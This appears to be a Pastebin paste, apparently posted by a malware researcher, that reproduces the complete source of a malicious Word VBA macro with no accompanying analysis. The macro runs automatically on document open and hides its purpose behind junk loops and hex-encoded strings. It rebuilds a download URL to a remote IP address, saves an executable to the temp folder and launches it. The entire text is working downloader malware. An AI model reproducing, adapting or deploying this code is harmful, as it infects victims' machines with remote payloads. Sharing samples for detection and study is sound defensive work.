dynamoo

Malicious Word macro

Jan 15th, 2015
285
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If VBA7 Then
  10.     Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  11.     "URLDownloadToFileA" (ByVal dsfdsfdsf As LongPtr, _
  12.     ByVal rtyeffg As String, _
  13.     ByVal fdger As String, _
  14.     ByVal reteruywer As Long, _
  15.     ByVal werwedsf As LongPtr) As LongPtr
  16. #Else
  17.     Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
  18.     "URLDownloadToFileA" (ByVal dsfdsfdsf As Long, _
  19.     ByVal rtyeffg As String, _
  20.     ByVal fdger As String, _
  21.     ByVal reteruywer As Long, _
  22.     ByVal werwedsf As Long) As Long
  23. #End If
  24.  
  25.  
  26. Sub werwehytef()
  27. Dim QOBXhmAl As Integer
  28. For QOBXhmAl = 0 To 3
  29. Dim kXJALATO As Integer
  30. For kXJALATO = 0 To 5
  31. Dim DwptkYLg As Integer
  32. For DwptkYLg = 0 To 9
  33. DoEvents
  34. Next DwptkYLg
  35. DoEvents
  36. Next kXJALATO
  37. Dim tlwoFgep As Integer
  38. For tlwoFgep = 0 To 3
  39. DoEvents
  40. Next tlwoFgep
  41. DoEvents
  42. Next QOBXhmAl
  43. Dim vtRZaliF As Integer
  44. For vtRZaliF = 0 To 6
  45. Dim pHKvosSI As Integer
  46. For pHKvosSI = 0 To 4
  47. DoEvents
  48. Next pHKvosSI
  49. DoEvents
  50. Next vtRZaliF
  51. Dim flWdzivJ As Integer
  52. For flWdzivJ = 0 To 7
  53. DoEvents
  54. Next flWdzivJ
  55. sdfsdwee
  56. End Sub
  57. Sub AutoOpen()
  58. Dim VpUsliln As Integer
  59. For VpUsliln = 0 To 2
  60. Dim SAYlUiXp As Integer
  61. For SAYlUiXp = 0 To 6
  62. Dim XlKwlndr As Integer
  63. For XlKwlndr = 0 To 5
  64. DoEvents
  65. Next XlKwlndr
  66. DoEvents
  67. Next SAYlUiXp
  68. Dim NWWpsxNd As Integer
  69. For NWWpsxNd = 0 To 8
  70. DoEvents
  71. Next NWWpsxNd
  72. DoEvents
  73. Next VpUsliln
  74. Dim HrOinrOl As Integer
  75. For HrOinrOl = 0 To 6
  76. Dim MRKwlEzM As Integer
  77. For MRKwlEzM = 0 To 7
  78. DoEvents
  79. Next MRKwlEzM
  80. DoEvents
  81. Next HrOinrOl
  82. Dim VuWpsbFr As Integer
  83. For VuWpsbFr = 0 To 8
  84. DoEvents
  85. Next VuWpsbFr
  86.     werwehytef
  87. End Sub
  88. Sub Workbook_Open()
  89. Dim fkNGSJaZ As Integer
  90. For fkNGSJaZ = 0 To 1
  91. Dim vofHhwnj As Integer
  92. For vofHhwnj = 0 To 6
  93. Dim WZzOiENz As Integer
  94. For WZzOiENz = 0 To 1
  95. DoEvents
  96. Next WZzOiENz
  97. DoEvents
  98. Next vofHhwnj
  99. Dim UedLuKbT As Integer
  100. For UedLuKbT = 0 To 8
  101. DoEvents
  102. Next UedLuKbT
  103. DoEvents
  104. Next fkNGSJaZ
  105. Dim vrUjKxcT As Integer
  106. For vrUjKxcT = 0 To 6
  107. Dim fkaGOdrn As Integer
  108. For fkaGOdrn = 0 To 5
  109. DoEvents
  110. Next fkaGOdrn
  111. DoEvents
  112. Next vrUjKxcT
  113. Dim itRnfloL As Integer
  114. For itRnfloL = 0 To 3
  115. DoEvents
  116. Next itRnfloL
  117.     werwehytef
  118. End Sub
  119. Sub sdfsdwee()
  120. Dim nKOyHRKO As Integer
  121. For nKOyHRKO = 0 To 7
  122. Dim fjaGYIub As Integer
  123. For fjaGYIub = 0 To 1
  124. Dim DcXpaUZB As Integer
  125. For DcXpaUZB = 0 To 3
  126. DoEvents
  127. Next DcXpaUZB
  128. DoEvents
  129. Next fjaGYIub
  130. Dim nVumNXzZ As Integer
  131. For nVumNXzZ = 0 To 1
  132. DoEvents
  133. Next nVumNXzZ
  134. DoEvents
  135. Next nKOyHRKO
  136. Dim kLrEvRLI As Integer
  137. For kLrEvRLI = 0 To 2
  138. Dim KJSNNToS As Integer
  139. For KJSNNToS = 0 To 7
  140. DoEvents
  141. Next KJSNNToS
  142. DoEvents
  143. Next kLrEvRLI
  144. Dim SRhPEQft As Integer
  145. For SRhPEQft = 0 To 5
  146. DoEvents
  147. Next SRhPEQft
  148. Next SRhPEQft
  149. HBBJK = BUHVugrue("6874")
  150. hkhnioki = BUHVugrue("74703A2F2F")
  151. hojdsfg = BUHVugrue("39352E3136332E3132312E37323A383038302F6D6F7073692F706F7073692E706870")
  152.     uyVUHjdg = HBBJK + hkhnioki + hojdsfg
  153. Dim lGxtiFPa As Integer
  154. For lGxtiFPa = 0 To 2
  155. Dim eEwdmMHl As Integer
  156. For eEwdmMHl = 0 To 5
  157. Dim QYosYDRG As Integer
  158. For QYosYDRG = 0 To 2
  159. DoEvents
  160. Next QYosYDRG
  161. DoEvents
  162. Next eEwdmMHl
  163. Dim vulxTzrl As Integer
  164. For vulxTzrl = 0 To 9
  165. DoEvents
  166. Next vulxTzrl
  167. DoEvents
  168. Next lGxtiFPa
  169. Dim uyvadHZZ As Integer
  170. For uyvadHZZ = 0 To 6
  171. Dim MYIgMYac As Integer
  172. For MYIgMYac = 0 To 1
  173. DoEvents
  174. Next MYIgMYac
  175. DoEvents
  176. Next uyvadHZZ
  177. Dim lSPogoeg As Integer
  178. For lSPogoeg = 0 To 6
  179. DoEvents
  180. Next lSPogoeg
  181.     oGYUIgiu = Environ(BUHVugrue("54454D50")) & BUHVugrue("5C5547766466672E657865")
  182. Dim AFzUlTGV As Integer
  183. For AFzUlTGV = 0 To 9
  184. Dim ysVaDJCV As Integer
  185. For ysVaDJCV = 0 To 7
  186. Dim lFAFtXdl As Integer
  187. For lFAFtXdl = 0 To 2
  188. DoEvents
  189. Next lFAFtXdl
  190. DoEvents
  191. Next ysVaDJCV
  192. Dim UtrTsIYm As Integer
  193. For UtrTsIYm = 0 To 5
  194. DoEvents
  195. Next UtrTsIYm
  196. DoEvents
  197. Next AFzUlTGV
  198. Dim NBASjVzj As Integer
  199. For NBASjVzj = 0 To 8
  200. Dim eRlvndEb As Integer
  201. For eRlvndEb = 0 To 6
  202. DoEvents
  203. Next eRlvndEb
  204. DoEvents
  205. Next NBASjVzj
  206. Dim kWWhUBVb As Integer
  207. For kWWhUBVb = 0 To 9
  208. DoEvents
  209. Next kWWhUBVb
  210.     eUUsdgf = URLDownloadToFile(0&, uyVUHjdg, oGYUIgiu, 0&, 0&)
  211.    Dim pHUdsfd
  212. Dim mAYkCQMj As Integer
  213. For mAYkCQMj = 0 To 8
  214. Dim TfgSUebU As Integer
  215. For TfgSUebU = 0 To 4
  216. Dim lIaKjaFk As Integer
  217. For lIaKjaFk = 0 To 2
  218. DoEvents
  219. Next lIaKjaFk
  220. DoEvents
  221. Next TfgSUebU
  222. Dim IBADqvaD As Integer
  223. For IBADqvaD = 0 To 5
  224. DoEvents
  225. Next IBADqvaD
  226. DoEvents
  227. Next mAYkCQMj
  228. Dim lFbXYkVq As Integer
  229. For lFbXYkVq = 0 To 2
  230. Dim bzGSzOfn As Integer
  231. For bzGSzOfn = 0 To 3
  232. DoEvents
  233. Next bzGSzOfn
  234. DoEvents
  235. Next lFbXYkVq
  236. Dim zFnLDitd As Integer
  237. For zFnLDitd = 0 To 6
  238. DoEvents
  239. Next zFnLDitd
  240.     pHUdsfd = Shell(oGYUIgiu, 1)
  241.  
  242. End Sub
  243.  
  244.  
  245. Public Function BUHVugrue(ByVal UJeTKZjRRErSpBP As String) As String
  246. For GAqVffe = 1 To Len(UJeTKZjRRErSpBP) Step 2
  247. Dim GCYINvKW As Integer
  248. For GCYINvKW = 0 To 9
  249. Dim GBcmygBP As Integer
  250. For GBcmygBP = 0 To 4
  251. Dim VBWAuLfD As Integer
  252. For VBWAuLfD = 0 To 7
  253. DoEvents
  254. Next VBWAuLfD
  255. DoEvents
  256. Next GBcmygBP
  257. Dim hXiYEAvI As Integer
  258. For hXiYEAvI = 0 To 2
  259. DoEvents
  260. Next hXiYEAvI
  261. DoEvents
  262. Next GCYINvKW
  263. Dim XupwfuAF As Integer
  264. For XupwfuAF = 0 To 5
  265. Dim nUCwEhDX As Integer
  266. For nUCwEhDX = 0 To 3
  267. DoEvents
  268. Next nUCwEhDX
  269. DoEvents
  270. Next XupwfuAF
  271. Dim RpNpxsby As Integer
  272. For RpNpxsby = 0 To 4
  273. DoEvents
  274. Next RpNpxsby
  275. OAEeSPJcZw = Chr(CDbl(Chr(38) & Chr(72) & Mid$(UJeTKZjRRErSpBP, GAqVffe, 2)))
  276. Dim DuDiCbga As Integer
  277. For DuDiCbga = 0 To 6
  278. Dim KYaocdyh As Integer
  279. For KYaocdyh = 0 To 1
  280. Dim WdSgkWrx As Integer
  281. For WdSgkWrx = 0 To 1
  282. DoEvents
  283. Next WdSgkWrx
  284. DoEvents
  285. Next KYaocdyh
  286. Dim OSNdzeBF As Integer
  287. For OSNdzeBF = 0 To 8
  288. DoEvents
  289. Next OSNdzeBF
  290. DoEvents
  291. Next DuDiCbga
  292. Dim pRddMWhq As Integer
  293. For pRddMWhq = 0 To 2
  294. Dim MxHzzJfz As Integer
  295. For MxHzzJfz = 0 To 1
  296. DoEvents
  297. Next MxHzzJfz
  298. DoEvents
  299. Next pRddMWhq
  300. Dim UVNdayDT As Integer
  301. For UVNdayDT = 0 To 1
  302. DoEvents
  303. Next UVNdayDT
  304. qwsEHVrtCMHkAS = qwsEHVrtCMHkAS & OAEeSPJcZw
  305. Next GAqVffe
  306. Dim JOHXGwzq As Integer
  307. For JOHXGwzq = 0 To 6
  308. Dim iMLSjCiD As Integer
  309. For iMLSjCiD = 0 To 6
  310. Dim ToNdaoAx As Integer
  311. For ToNdaoAx = 0 To 8
  312. DoEvents
  313. Next ToNdaoAx
  314. DoEvents
  315. Next iMLSjCiD
  316. Dim vCRVRgYG As Integer
  317. For vCRVRgYG = 0 To 6
  318. DoEvents
  319. Next vCRVRgYG
  320. DoEvents
  321. Next JOHXGwzq
  322. Dim iGddLVrz As Integer
  323. For iGddLVrz = 0 To 6
  324. Dim tqkMiOqQ As Integer
  325. For tqkMiOqQ = 0 To 3
  326. DoEvents
  327. Next tqkMiOqQ
  328. DoEvents
  329. Next iGddLVrz
  330. Dim JQZruVPf As Integer
  331. For JQZruVPf = 0 To 1
  332. DoEvents
  333. Next JQZruVPf
  334. BUHVugrue = qwsEHVrtCMHkAS
  335. End Function
RAW Paste Data